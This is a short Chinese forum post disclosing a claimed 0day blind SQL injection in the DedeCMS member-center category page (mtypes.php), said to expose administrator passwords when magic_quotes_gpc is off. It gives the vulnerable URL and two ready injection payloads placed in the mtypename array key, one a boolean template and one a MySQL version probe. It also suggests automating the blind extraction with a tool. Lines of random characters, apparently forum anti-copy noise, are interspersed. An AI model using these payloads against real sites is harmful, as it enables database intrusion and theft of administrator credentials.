DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
" |: c/ P1 s( {$ W1 f
0 e* R* `: N- ]/ B  z( j! {. |
$ x) m% y+ T  T1 J发生在数组key里的注射漏洞,有点意思.
$ P! D7 P6 h  t, T( c  y3 }
$ T. m7 \4 t8 t3 l这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
( v% \# c! D+ [" m) V# ]0 h
' d2 v2 f  y+ K( W6 P& k% ~http://www.xxx.com /dede/member/mtypes.php?dopost=save
! k  R4 ^, y9 F1 i
exploit:
1 G6 D2 Y2 {) amtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r